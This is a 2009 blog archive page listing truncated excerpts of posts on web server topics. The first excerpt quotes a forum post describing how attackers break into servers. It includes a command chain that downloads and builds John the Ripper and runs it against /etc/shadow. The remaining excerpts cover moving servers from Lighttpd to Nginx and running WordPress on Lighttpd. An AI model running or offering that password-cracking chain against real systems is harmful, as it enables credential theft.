Archive for the ‘Web Server Hacks’ Category

by admin on December 18th, 2009
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Here’s a rather interesting forum post that details how hackers hack web servers: w wget;tar zxvf john-1.6.tar.gz;rm -rf john-1.6.tar.gz;cd john-1.6/src;make linux-x86-any-elf;cd ../run;./john /etc/shadow wget;tar ...
by admin on December 16th, 2009
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Nginx is another super-fast, web server built for handling massive amounts of web traffic. Compared to Lighttpd, and based on real-world testing, Nginx offers better performance as it doesn’t leak memory as Lighttpd. Recently I had the pleasure of moving all my web servers from Lighttpd to Ng ...
by admin on October 14th, 2009
In this blog post, I will show you how to convert a Wordpress blog to run Lighttpd instead of the default Apache Httpd server (on a Plesk server specifically). You can probably apply most of these instructions to any other web servers running on raw Apache but if you are that good at managing web s ...